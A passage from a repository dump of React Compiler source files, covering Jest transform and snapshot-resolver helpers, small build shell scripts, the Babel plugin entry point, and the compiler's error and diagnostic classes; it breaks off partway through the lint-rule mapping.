    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport babelJest from 'babel-jest';\nimport {\n  validateEnvironmentConfig,\n  EnvironmentConfig,\n} from 'babel-plugin-react-compiler';\nimport {execSync} from 'child_process';\n\nimport type {NodePath, Visitor} from '@babel/traverse';\nimport type {CallExpression} from '@babel/types';\nimport BabelPluginReactCompiler from 'babel-plugin-react-compiler';\n\n/**\n * -- IMPORTANT --\n * When making changes to any babel plugins defined this file\n * (e.g. `ReactForgetFunctionTransform`), make sure to bump e2eTransformerCacheKey\n * as our script files are currently not used for babel cache breaking!!\n */\nconst e2eTransformerCacheKey = 1;\nconst forgetOptions: EnvironmentConfig = validateEnvironmentConfig({\n  enableAssumeHooksFollowRulesOfReact: true,\n});\nconst debugMode = process.env['DEBUG_FORGET_COMPILER'] != null;\n\nconst compilerCacheKey = execSync(\n  'yarn --silent --cwd ../.. hash packages/babel-plugin-react-compiler/dist',\n)\n  .toString()\n  .trim();\n\nif (debugMode) {\n  console.log('cachebreaker', compilerCacheKey);\n}\n\nmodule.exports = (useForget: boolean) => {\n  function createTransformer() {\n    return babelJest.createTransformer({\n      passPerPreset: true,\n      presets: [\n        '@babel/preset-typescript',\n        {\n          plugins: [\n            useForget\n              ? [\n                  BabelPluginReactCompiler,\n                  {\n                    environment: forgetOptions,\n                    /*\n                     * Jest hashes the babel config as a cache breaker.\n                     * (see https://github.com/jestjs/jest/blob/v29.6.2/packages/babel-jest/src/index.ts#L84)\n                     */\n                    compilerCacheKey,\n                    transformOptionsCacheKey: forgetOptions,\n                    e2eTransformerCacheKey,\n                  },\n                ]\n              : '@babel/plugin-syntax-jsx',\n          ],\n        },\n        '@babel/preset-react',\n        {\n          plugins: [\n            [\n              function BabelPluginRewriteRequirePath(): {visitor: Visitor} {\n                return {\n                  visitor: {\n                    CallExpression(path: NodePath<CallExpression>): void {\n                      const {callee} = path.node;\n                      if (\n                        callee.type === 'Identifier' &&\n                        callee.name === 'require'\n                      ) {\n                        const arg = path.node.arguments[0];\n                        if (arg.type === 'StringLiteral') {\n                          /*\n                           * The compiler adds requires of \"React\", which is expected to be a wrapper\n                           * around the \"react\" package. For tests, we just rewrite the require.\n                           */\n                          if (arg.value === 'React') {\n                            arg.value = 'react';\n                          }\n                        }\n                      }\n                    },\n                  },\n                };\n              },\n            ],\n            '@babel/plugin-transform-modules-commonjs',\n          ],\n        },\n      ],\n      targets: {\n        esmodules: true,\n      },\n    } as any);\n    /*\n     * typecast needed as DefinitelyTyped does not have updated Babel configs types yet\n     * (missing passPerPreset and targets).\n     */\n  }\n\n  return {\n    createTransformer,\n  };\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-no-forget.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst makeSnapshotResolver = require('./makeSnapshotResolver');\n\nmodule.exports = makeSnapshotResolver(false);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/snapshot-resolver-with-forget.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst makeSnapshotResolver = require('./makeSnapshotResolver');\n\nmodule.exports = makeSnapshotResolver(true);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-no-forget.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nmodule.exports = require('./makeTransform')(false);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/transform-with-forget.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nmodule.exports = require('./makeTransform')(true);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/link-react-compiler-runtime.sh",
    "content": "#!/usr/bin/env bash\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nset -eo pipefail\n\nyarn --silent workspace react-compiler-runtime link\nyarn --silent workspace babel-plugin-react-compiler link react-compiler-runtime\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/ts-analyze-trace.sh",
    "content": "#!/usr/bin/env bash\n#\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n#\n\n# Generates a TypeScript performance trace in a tmp folder, then runs the analyze-trace npm module\n# to identify any hotspots that might cause slow compilation\n# See https://github.com/microsoft/typescript-analyze-trace for CLI args\n\nset -eo pipefail\n\ntmp_dir=$(mktemp -d -t forget-XXXXXXXXXX)\n./node_modules/typescript/bin/tsc -p ./tsconfig.json --generateTrace $tmp_dir --incremental false && npx @typescript/analyze-trace $tmp_dir \"$@\"\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Babel/BabelPlugin.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type * as BabelCore from '@babel/core';\nimport {compileProgram, Logger, parsePluginOptions} from '../Entrypoint';\nimport {\n  injectReanimatedFlag,\n  pipelineUsesReanimatedPlugin,\n} from '../Entrypoint/Reanimated';\nimport {CompilerError} from '..';\n\nconst ENABLE_REACT_COMPILER_TIMINGS =\n  process.env['ENABLE_REACT_COMPILER_TIMINGS'] === '1';\n\n/*\n * The React Forget Babel Plugin\n * @param {*} _babel\n * @returns\n */\nexport default function BabelPluginReactCompiler(\n  _babel: typeof BabelCore,\n): BabelCore.PluginObj {\n  return {\n    name: 'react-forget',\n    visitor: {\n      /*\n       * Note: Babel does some \"smart\" merging of visitors across plugins, so even if A is inserted\n       * prior to B, if A does not have a Program visitor and B does, B will run first. We always\n       * want Forget to run true to source as possible.\n       */\n      Program: {\n        enter(prog, pass): void {\n          try {\n            const filename = pass.filename ?? 'unknown';\n            if (ENABLE_REACT_COMPILER_TIMINGS === true) {\n              performance.mark(`${filename}:start`, {\n                detail: 'BabelPlugin:Program:start',\n              });\n            }\n            let opts = parsePluginOptions(pass.opts);\n            const isDev =\n              (typeof __DEV__ !== 'undefined' && __DEV__ === true) ||\n              process.env['NODE_ENV'] === 'development';\n            if (\n              opts.enableReanimatedCheck === true &&\n              pipelineUsesReanimatedPlugin(pass.file.opts.plugins)\n            ) {\n              opts = injectReanimatedFlag(opts);\n            }\n            if (\n              opts.environment.enableResetCacheOnSourceFileChanges !== false &&\n              isDev\n            ) {\n              opts = {\n                ...opts,\n                environment: {\n                  ...opts.environment,\n                  enableResetCacheOnSourceFileChanges: true,\n                },\n              };\n            }\n            compileProgram(prog, {\n              opts,\n              filename: pass.filename ?? null,\n              comments: pass.file.ast.comments ?? [],\n              code: pass.file.code,\n            });\n            if (ENABLE_REACT_COMPILER_TIMINGS === true) {\n              performance.mark(`${filename}:end`, {\n                detail: 'BabelPlugin:Program:end',\n              });\n            }\n          } catch (e) {\n            if (e instanceof CompilerError) {\n              throw e.withPrintedMessage(pass.file.code, {eslint: false});\n            }\n            throw e;\n          }\n        },\n        exit(_, pass): void {\n          if (ENABLE_REACT_COMPILER_TIMINGS === true) {\n            const filename = pass.filename ?? 'unknown';\n            const measurement = performance.measure(filename, {\n              start: `${filename}:start`,\n              end: `${filename}:end`,\n              detail: 'BabelPlugin:Program',\n            });\n            if ('logger' in pass.opts && pass.opts.logger != null) {\n              const logger: Logger = pass.opts.logger as Logger;\n              logger.logEvent(filename, {\n                kind: 'Timing',\n                measurement,\n              });\n            }\n          }\n        },\n      },\n    },\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Babel/RunReactCompilerBabelPlugin.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type * as BabelCore from '@babel/core';\nimport {transformFromAstSync} from '@babel/core';\nimport * as BabelParser from '@babel/parser';\nimport invariant from 'invariant';\nimport type {PluginOptions} from '../Entrypoint';\nimport BabelPluginReactCompiler from './BabelPlugin';\n\nexport const DEFAULT_PLUGINS = ['babel-plugin-fbt', 'babel-plugin-fbt-runtime'];\nexport function runBabelPluginReactCompiler(\n  text: string,\n  file: string,\n  language: 'flow' | 'typescript',\n  options: PluginOptions | null,\n  includeAst: boolean = false,\n): BabelCore.BabelFileResult {\n  const ast = BabelParser.parse(text, {\n    sourceFilename: file,\n    plugins: [language, 'jsx'],\n    sourceType: 'module',\n  });\n  const result = transformFromAstSync(ast, text, {\n    ast: includeAst,\n    filename: file,\n    highlightCode: false,\n    retainLines: true,\n    plugins: [\n      [BabelPluginReactCompiler, options],\n      'babel-plugin-fbt',\n      'babel-plugin-fbt-runtime',\n    ],\n    sourceType: 'module',\n    configFile: false,\n    babelrc: false,\n  });\n  invariant(\n    result?.code != null,\n    `Expected BabelPluginReactForget to codegen successfully, got: ${result}`,\n  );\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/CompilerError.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\nimport {codeFrameColumns} from '@babel/code-frame';\nimport {type SourceLocation} from './HIR';\nimport {Err, Ok, Result} from './Utils/Result';\nimport {assertExhaustive} from './Utils/utils';\nimport invariant from 'invariant';\n\n// Number of context lines to display above the source of an error\nconst CODEFRAME_LINES_ABOVE = 2;\n// Number of context lines to display below the source of an error\nconst CODEFRAME_LINES_BELOW = 3;\n/*\n * Max number of lines for the _source_ of an error, before we abbreviate\n * the display of the source portion\n */\nconst CODEFRAME_MAX_LINES = 10;\n/*\n * When the error source exceeds the above threshold, how many lines of\n * the source should be displayed? We show:\n * - CODEFRAME_LINES_ABOVE context lines\n * - CODEFRAME_ABBREVIATED_SOURCE_LINES of the error\n * - '...' ellipsis\n * - CODEFRAME_ABBREVIATED_SOURCE_LINES of the error\n * - CODEFRAME_LINES_BELOW context lines\n *\n * This value must be at least 2 or else we'll cut off important parts of the error message\n */\nconst CODEFRAME_ABBREVIATED_SOURCE_LINES = 5;\n\nexport enum ErrorSeverity {\n  /**\n   * An actionable error that the developer can fix. For example, product code errors should be\n   * reported as such.\n   */\n  Error = 'Error',\n  /**\n   * An error that the developer may not necessarily be able to fix. For example, syntax not\n   * supported by the compiler does not indicate any fault in the product code.\n   */\n  Warning = 'Warning',\n  /**\n   * Not an error. These will not be surfaced in ESLint, but may be surfaced in other ways\n   * (eg Forgive) where informational hints can be shown.\n   */\n  Hint = 'Hint',\n  /**\n   * These errors will not be reported anywhere. Useful for work in progress validations.\n   */\n  Off = 'Off',\n}\n\nexport type CompilerDiagnosticOptions = {\n  category: ErrorCategory;\n  reason: string;\n  description: string | null;\n  details: Array<CompilerDiagnosticDetail>;\n  suggestions?: Array<CompilerSuggestion> | null | undefined;\n};\n\nexport type CompilerDiagnosticDetail =\n  /**\n   * A/the source of the error\n   */\n  | {\n      kind: 'error';\n      loc: SourceLocation | null;\n      message: string | null;\n    }\n  | {\n      kind: 'hint';\n      message: string;\n    };\n\nexport enum CompilerSuggestionOperation {\n  InsertBefore,\n  InsertAfter,\n  Remove,\n  Replace,\n}\nexport type CompilerSuggestion =\n  | {\n      op:\n        | CompilerSuggestionOperation.InsertAfter\n        | CompilerSuggestionOperation.InsertBefore\n        | CompilerSuggestionOperation.Replace;\n      range: [number, number];\n      description: string;\n      text: string;\n    }\n  | {\n      op: CompilerSuggestionOperation.Remove;\n      range: [number, number];\n      description: string;\n    };\n\n/**\n * @deprecated use {@link CompilerDiagnosticOptions} instead\n */\nexport type CompilerErrorDetailOptions = {\n  category: ErrorCategory;\n  reason: string;\n  description?: string | null | undefined;\n  loc: SourceLocation | null;\n  suggestions?: Array<CompilerSuggestion> | null | undefined;\n};\n\nexport type PrintErrorMessageOptions = {\n  /**\n   * ESLint uses 1-indexed columns and prints one error at a time\n   * So it doesn't require the \"Found # error(s)\" text\n   */\n  eslint: boolean;\n};\n\nexport class CompilerDiagnostic {\n  options: CompilerDiagnosticOptions;\n\n  constructor(options: CompilerDiagnosticOptions) {\n    this.options = options;\n  }\n\n  static create(\n    options: Omit<CompilerDiagnosticOptions, 'details'>,\n  ): CompilerDiagnostic {\n    return new CompilerDiagnostic({...options, details: []});\n  }\n\n  get reason(): CompilerDiagnosticOptions['reason'] {\n    return this.options.reason;\n  }\n  get description(): CompilerDiagnosticOptions['description'] {\n    return this.options.description;\n  }\n  get severity(): ErrorSeverity {\n    return getRuleForCategory(this.category).severity;\n  }\n  get suggestions(): CompilerDiagnosticOptions['suggestions'] {\n    return this.options.suggestions;\n  }\n  get category(): ErrorCategory {\n    return this.options.category;\n  }\n\n  withDetails(...details: Array<CompilerDiagnosticDetail>): CompilerDiagnostic {\n    this.options.details.push(...details);\n    return this;\n  }\n\n  primaryLocation(): SourceLocation | null {\n    const firstErrorDetail = this.options.details.filter(\n      d => d.kind === 'error',\n    )[0];\n    return firstErrorDetail != null && firstErrorDetail.kind === 'error'\n      ? firstErrorDetail.loc\n      : null;\n  }\n\n  printErrorMessage(source: string, options: PrintErrorMessageOptions): string {\n    const buffer = [printErrorSummary(this.category, this.reason)];\n    if (this.description != null) {\n      buffer.push('\\n\\n', `${this.description}.`);\n    }\n    for (const detail of this.options.details) {\n      switch (detail.kind) {\n        case 'error': {\n          const loc = detail.loc;\n          if (loc == null || typeof loc === 'symbol') {\n            continue;\n          }\n          let codeFrame: string;\n          try {\n            codeFrame = printCodeFrame(source, loc, detail.message ?? '');\n          } catch (e) {\n            codeFrame = detail.message ?? '';\n          }\n          buffer.push('\\n\\n');\n          if (loc.filename != null) {\n            const line = loc.start.line;\n            const column = options.eslint\n              ? loc.start.column + 1\n              : loc.start.column;\n            buffer.push(`${loc.filename}:${line}:${column}\\n`);\n          }\n          buffer.push(codeFrame);\n          break;\n        }\n        case 'hint': {\n          buffer.push('\\n\\n');\n          buffer.push(detail.message);\n          break;\n        }\n        default: {\n          assertExhaustive(\n            detail,\n            `Unexpected detail kind ${(detail as any).kind}`,\n          );\n        }\n      }\n    }\n    return buffer.join('');\n  }\n\n  toString(): string {\n    const buffer = [printErrorSummary(this.category, this.reason)];\n    if (this.description != null) {\n      buffer.push(`. ${this.description}.`);\n    }\n    const loc = this.primaryLocation();\n    if (loc != null && typeof loc !== 'symbol') {\n      buffer.push(` (${loc.start.line}:${loc.start.column})`);\n    }\n    return buffer.join('');\n  }\n}\n\n/**\n * Each bailout or invariant in HIR lowering creates an {@link CompilerErrorDetail}, which is then\n * aggregated into a single {@link CompilerError} later.\n *\n * @deprecated use {@link CompilerDiagnostic} instead\n */\nexport class CompilerErrorDetail {\n  options: CompilerErrorDetailOptions;\n\n  constructor(options: CompilerErrorDetailOptions) {\n    this.options = options;\n  }\n\n  get reason(): CompilerErrorDetailOptions['reason'] {\n    return this.options.reason;\n  }\n  get description(): CompilerErrorDetailOptions['description'] {\n    return this.options.description;\n  }\n  get severity(): ErrorSeverity {\n    return getRuleForCategory(this.category).severity;\n  }\n  get loc(): CompilerErrorDetailOptions['loc'] {\n    return this.options.loc;\n  }\n  get suggestions(): CompilerErrorDetailOptions['suggestions'] {\n    return this.options.suggestions;\n  }\n  get category(): ErrorCategory {\n    return this.options.category;\n  }\n\n  primaryLocation(): SourceLocation | null {\n    return this.loc;\n  }\n\n  printErrorMessage(source: string, options: PrintErrorMessageOptions): string {\n    const buffer = [printErrorSummary(this.category, this.reason)];\n    if (this.description != null) {\n      buffer.push(`\\n\\n${this.description}.`);\n    }\n    const loc = this.loc;\n    if (loc != null && typeof loc !== 'symbol') {\n      let codeFrame: string;\n      try {\n        codeFrame = printCodeFrame(source, loc, this.reason);\n      } catch (e) {\n        codeFrame = '';\n      }\n      buffer.push(`\\n\\n`);\n      if (loc.filename != null) {\n        const line = loc.start.line;\n        const column = options.eslint ? loc.start.column + 1 : loc.start.column;\n        buffer.push(`${loc.filename}:${line}:${column}\\n`);\n      }\n      buffer.push(codeFrame);\n      buffer.push('\\n\\n');\n    }\n    return buffer.join('');\n  }\n\n  toString(): string {\n    const buffer = [printErrorSummary(this.category, this.reason)];\n    if (this.description != null) {\n      buffer.push(`. ${this.description}.`);\n    }\n    const loc = this.loc;\n    if (loc != null && typeof loc !== 'symbol') {\n      buffer.push(` (${loc.start.line}:${loc.start.column})`);\n    }\n    return buffer.join('');\n  }\n}\n\n/**\n * An aggregate of {@link CompilerDiagnostic}. This allows us to aggregate all issues found by the\n * compiler into a single error before we throw. Where possible, prefer to push diagnostics into\n * the error aggregate instead of throwing immediately.\n */\nexport class CompilerError extends Error {\n  details: Array<CompilerErrorDetail | CompilerDiagnostic> = [];\n  disabledDetails: Array<CompilerErrorDetail | CompilerDiagnostic> = [];\n  printedMessage: string | null = null;\n\n  static invariant(\n    condition: unknown,\n    options: {\n      reason: CompilerDiagnosticOptions['reason'];\n      description?: CompilerDiagnosticOptions['description'];\n      message?: string | null;\n      loc: SourceLocation;\n    },\n  ): asserts condition {\n    if (!condition) {\n      const errors = new CompilerError();\n      errors.pushDiagnostic(\n        CompilerDiagnostic.create({\n          reason: options.reason,\n          description: options.description ?? null,\n          category: ErrorCategory.Invariant,\n        }).withDetails({\n          kind: 'error',\n          loc: options.loc,\n          message: options.message ?? options.reason,\n        }),\n      );\n      throw errors;\n    }\n  }\n\n  static throwDiagnostic(options: CompilerDiagnosticOptions): never {\n    const errors = new CompilerError();\n    errors.pushDiagnostic(new CompilerDiagnostic(options));\n    throw errors;\n  }\n\n  static throwTodo(\n    options: Omit<CompilerErrorDetailOptions, 'category'>,\n  ): never {\n    const errors = new CompilerError();\n    errors.pushErrorDetail(\n      new CompilerErrorDetail({\n        ...options,\n        category: ErrorCategory.Todo,\n      }),\n    );\n    throw errors;\n  }\n\n  static throwInvalidJS(\n    options: Omit<CompilerErrorDetailOptions, 'category'>,\n  ): never {\n    const errors = new CompilerError();\n    errors.pushErrorDetail(\n      new CompilerErrorDetail({\n        ...options,\n        category: ErrorCategory.Syntax,\n      }),\n    );\n    throw errors;\n  }\n\n  static throwInvalidReact(options: CompilerErrorDetailOptions): never {\n    const errors = new CompilerError();\n    errors.pushErrorDetail(new CompilerErrorDetail(options));\n    throw errors;\n  }\n\n  static throwInvalidConfig(\n    options: Omit<CompilerErrorDetailOptions, 'category'>,\n  ): never {\n    const errors = new CompilerError();\n    errors.pushErrorDetail(\n      new CompilerErrorDetail({\n        ...options,\n        category: ErrorCategory.Config,\n      }),\n    );\n    throw errors;\n  }\n\n  static throw(options: CompilerErrorDetailOptions): never {\n    const errors = new CompilerError();\n    errors.pushErrorDetail(new CompilerErrorDetail(options));\n    throw errors;\n  }\n\n  constructor(...args: Array<any>) {\n    super(...args);\n    this.name = 'ReactCompilerError';\n    this.details = [];\n    this.disabledDetails = [];\n  }\n\n  override get message(): string {\n    return this.printedMessage ?? this.toString();\n  }\n\n  override set message(_message: string) {}\n\n  override toString(): string {\n    if (this.printedMessage) {\n      return this.printedMessage;\n    }\n    if (Array.isArray(this.details)) {\n      return this.details.map(detail => detail.toString()).join('\\n\\n');\n    }\n    return this.name;\n  }\n\n  withPrintedMessage(\n    source: string,\n    options: PrintErrorMessageOptions,\n  ): CompilerError {\n    this.printedMessage = this.printErrorMessage(source, options);\n    return this;\n  }\n\n  printErrorMessage(source: string, options: PrintErrorMessageOptions): string {\n    if (options.eslint && this.details.length === 1) {\n      return this.details[0].printErrorMessage(source, options);\n    }\n    return (\n      `Found ${this.details.length} error${this.details.length === 1 ? '' : 's'}:\\n\\n` +\n      this.details\n        .map(detail => detail.printErrorMessage(source, options).trim())\n        .join('\\n\\n')\n    );\n  }\n\n  merge(other: CompilerError): void {\n    this.details.push(...other.details);\n    this.disabledDetails.push(...other.disabledDetails);\n  }\n\n  pushDiagnostic(diagnostic: CompilerDiagnostic): void {\n    if (diagnostic.severity === ErrorSeverity.Off) {\n      this.disabledDetails.push(diagnostic);\n    } else {\n      this.details.push(diagnostic);\n    }\n  }\n\n  /**\n   * @deprecated use {@link pushDiagnostic} instead\n   */\n  push(options: CompilerErrorDetailOptions): CompilerErrorDetail {\n    const detail = new CompilerErrorDetail({\n      category: options.category,\n      reason: options.reason,\n      description: options.description ?? null,\n      suggestions: options.suggestions,\n      loc: typeof options.loc === 'symbol' ? null : options.loc,\n    });\n    return this.pushErrorDetail(detail);\n  }\n\n  /**\n   * @deprecated use {@link pushDiagnostic} instead\n   */\n  pushErrorDetail(detail: CompilerErrorDetail): CompilerErrorDetail {\n    if (detail.severity === ErrorSeverity.Off) {\n      this.disabledDetails.push(detail);\n    } else {\n      this.details.push(detail);\n    }\n    return detail;\n  }\n\n  hasAnyErrors(): boolean {\n    return this.details.length > 0;\n  }\n\n  asResult(): Result<void, CompilerError> {\n    return this.hasAnyErrors() ? Err(this) : Ok(undefined);\n  }\n\n  /**\n   * Returns true if any of the error details are of severity Error.\n   */\n  hasErrors(): boolean {\n    for (const detail of this.details) {\n      if (detail.severity === ErrorSeverity.Error) {\n        return true;\n      }\n    }\n    return false;\n  }\n\n  /**\n   * Returns true if there are no Errors and there is at least one Warning.\n   */\n  hasWarning(): boolean {\n    let res = false;\n    for (const detail of this.details) {\n      if (detail.severity === ErrorSeverity.Error) {\n        return false;\n      }\n      if (detail.severity === ErrorSeverity.Warning) {\n        res = true;\n      }\n    }\n    return res;\n  }\n\n  hasHints(): boolean {\n    let res = false;\n    for (const detail of this.details) {\n      if (detail.severity === ErrorSeverity.Error) {\n        return false;\n      }\n      if (detail.severity === ErrorSeverity.Warning) {\n        return false;\n      }\n      if (detail.severity === ErrorSeverity.Hint) {\n        res = true;\n      }\n    }\n    return res;\n  }\n}\n\nfunction printCodeFrame(\n  source: string,\n  loc: t.SourceLocation,\n  message: string,\n): string {\n  const printed = codeFrameColumns(\n    source,\n    {\n      start: {\n        line: loc.start.line,\n        column: loc.start.column + 1,\n      },\n      end: {\n        line: loc.end.line,\n        column: loc.end.column + 1,\n      },\n    },\n    {\n      message,\n      linesAbove: CODEFRAME_LINES_ABOVE,\n      linesBelow: CODEFRAME_LINES_BELOW,\n    },\n  );\n  const lines = printed.split(/\\r?\\n/);\n  if (loc.end.line - loc.start.line < CODEFRAME_MAX_LINES) {\n    return printed;\n  }\n  const pipeIndex = lines[0].indexOf('|');\n  return [\n    ...lines.slice(\n      0,\n      CODEFRAME_LINES_ABOVE + CODEFRAME_ABBREVIATED_SOURCE_LINES,\n    ),\n    ' '.repeat(pipeIndex) + '…',\n    ...lines.slice(\n      -(CODEFRAME_LINES_BELOW + CODEFRAME_ABBREVIATED_SOURCE_LINES),\n    ),\n  ].join('\\n');\n}\n\nfunction printErrorSummary(category: ErrorCategory, message: string): string {\n  let heading: string;\n  switch (category) {\n    case ErrorCategory.CapitalizedCalls:\n    case ErrorCategory.Config:\n    case ErrorCategory.EffectDerivationsOfState:\n    case ErrorCategory.EffectSetState:\n    case ErrorCategory.ErrorBoundaries:\n    case ErrorCategory.FBT:\n    case ErrorCategory.Gating:\n    case ErrorCategory.Globals:\n    case ErrorCategory.Hooks:\n    case ErrorCategory.Immutability:\n    case ErrorCategory.Purity:\n    case ErrorCategory.Refs:\n    case ErrorCategory.RenderSetState:\n    case ErrorCategory.StaticComponents:\n    case ErrorCategory.Suppression:\n    case ErrorCategory.Syntax:\n    case ErrorCategory.UseMemo:\n    case ErrorCategory.VoidUseMemo:\n    case ErrorCategory.MemoDependencies:\n    case ErrorCategory.EffectExhaustiveDependencies: {\n      heading = 'Error';\n      break;\n    }\n    case ErrorCategory.EffectDependencies:\n    case ErrorCategory.IncompatibleLibrary:\n    case ErrorCategory.PreserveManualMemo:\n    case ErrorCategory.UnsupportedSyntax: {\n      heading = 'Compilation Skipped';\n      break;\n    }\n    case ErrorCategory.Invariant: {\n      heading = 'Invariant';\n      break;\n    }\n    case ErrorCategory.Todo: {\n      heading = 'Todo';\n      break;\n    }\n    default: {\n      assertExhaustive(category, `Unhandled category '${category}'`);\n    }\n  }\n  return `${heading}: ${message}`;\n}\n\n/**\n * See getRuleForCategory() for how these map to ESLint rules\n */\nexport enum ErrorCategory {\n  /**\n   * Checking for valid hooks usage (non conditional, non-first class, non reactive, etc)\n   */\n  Hooks = 'Hooks',\n  /**\n   * Checking for no capitalized calls (not definitively an error, hence separating)\n   */\n  CapitalizedCalls = 'CapitalizedCalls',\n  /**\n   * Checking for static components\n   */\n  StaticComponents = 'StaticComponents',\n  /**\n   * Checking for valid usage of manual memoization\n   */\n  UseMemo = 'UseMemo',\n  /**\n   * Checking that useMemos always return a value\n   */\n  VoidUseMemo = 'VoidUseMemo',\n  /**\n   * Checks that manual memoization is preserved\n   */\n  PreserveManualMemo = 'PreserveManualMemo',\n  /**\n   * Checks for exhaustive useMemo/useCallback dependencies without extraneous values\n   */\n  MemoDependencies = 'MemoDependencies',\n  /**\n   * Checks for known incompatible libraries\n   */\n  IncompatibleLibrary = 'IncompatibleLibrary',\n  /**\n   * Checking for no mutations of props, hook arguments, hook return values\n   */\n  Immutability = 'Immutability',\n  /**\n   * Checking for assignments to globals\n   */\n  Globals = 'Globals',\n  /**\n   * Checking for valid usage of refs, ie no access during render\n   */\n  Refs = 'Refs',\n  /**\n   * Checks for memoized effect deps\n   */\n  EffectDependencies = 'EffectDependencies',\n  /**\n   * Checks for exhaustive and extraneous effect dependencies\n   */\n  EffectExhaustiveDependencies = 'EffectExhaustiveDependencies',\n  /**\n   * Checks for no setState in effect bodies\n   */\n  EffectSetState = 'EffectSetState',\n  EffectDerivationsOfState = 'EffectDerivationsOfState',\n  /**\n   * Validates against try/catch in place of error boundaries\n   */\n  ErrorBoundaries = 'ErrorBoundaries',\n  /**\n   * Checking for pure functions\n   */\n  Purity = 'Purity',\n  /**\n   * Validates against setState in render\n   */\n  RenderSetState = 'RenderSetState',\n  /**\n   * Internal invariants\n   */\n  Invariant = 'Invariant',\n  /**\n   * Todos\n   */\n  Todo = 'Todo',\n  /**\n   * Syntax errors\n   */\n  Syntax = 'Syntax',\n  /**\n   * Checks for use of unsupported syntax\n   */\n  UnsupportedSyntax = 'UnsupportedSyntax',\n  /**\n   * Config errors\n   */\n  Config = 'Config',\n  /**\n   * Gating error\n   */\n  Gating = 'Gating',\n  /**\n   * Suppressions\n   */\n  Suppression = 'Suppression',\n  /**\n   * fbt-specific issues\n   */\n  FBT = 'FBT',\n}\n\nexport enum LintRulePreset {\n  /**\n   * Rules that are stable and included in the `recommended` preset.\n   */\n  Recommended = 'recommended',\n  /**\n   * Rules that are more experimental and only included in the `recommended-latest` preset.\n   */\n  RecommendedLatest = 'recommended-latest',\n  /**\n   * Rules that are disabled.\n   */\n  Off = 'off',\n}\n\nexport type LintRule = {\n  // Stores the category the rule corresponds to, used to filter errors when reporting\n  category: ErrorCategory;\n\n  // Stores the severity of the error, which is used to map to lint levels such as error/warning.\n  severity: ErrorSeverity;\n\n  /**\n   * The \"name\" of the rule as it will be used by developers to enable/disable, eg\n   * \"eslint-disable-nest line <name>\"\n   */\n  name: string;\n\n  /**\n   * A description of the rule that appears somewhere in ESLint. This does not affect\n   * how error messages are formatted\n   */\n  description: string;\n\n  /**\n   * Configures the preset in which the rule is enabled. If 'off', the rule will not be included in\n   * any preset.\n   *\n   * NOTE: not all validations are enabled by default! Setting this flag only affects\n   * whether a given rule is part of the recommended set. The corresponding validation\n   * also should be enabled by default if you want the error to actually show up!\n   */\n  preset: LintRulePreset;\n};\n\nconst RULE_NAME_PATTERN = /^[a-z]+(-[a-z]+)*$/;\n\nexport function getRuleForCategory(category: ErrorCategory): LintRule {\n  const rule = getRuleForCategoryImpl(category);\n  invariant(\n    RULE_NAME_PATTERN.test(rule.name),\n    `Invalid rule name, got '${rule.name}' but rules must match ${RULE_NAME_PATTERN.toString()}`,\n  );\n  return rule;\n}\n\nfunction getRuleForCategoryImpl(category: ErrorCategory): LintRule {\n  switch (category) {\n    case ErrorCategory.CapitalizedCalls: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'capitalized-calls',\n        description:\n          'Validates against calling capitalized functions/methods instead of using JSX',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.Config: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'config',\n        description: 'Validates the compiler configuration options',\n        preset: LintRulePreset.Recommended,\n      };\n    }\n    case ErrorCategory.EffectDependencies: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'memoized-effect-dependencies',\n        description: 'Validates that effect dependencies are memoized',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.EffectExhaustiveDependencies: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'exhaustive-effect-dependencies',\n        description:\n          'Validates that effect dependencies are exhaustive and without extraneous values',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case ErrorCategory.EffectDerivationsOfState: {\n      return {\n        category,\n        severity: ErrorSeverity.Error,\n        name: 'no-deriving-state-in-effects',\n        description:\n          'Validates against deriving values from state in an effect',\n        preset: LintRulePreset.Off,\n      };\n    }\n    case 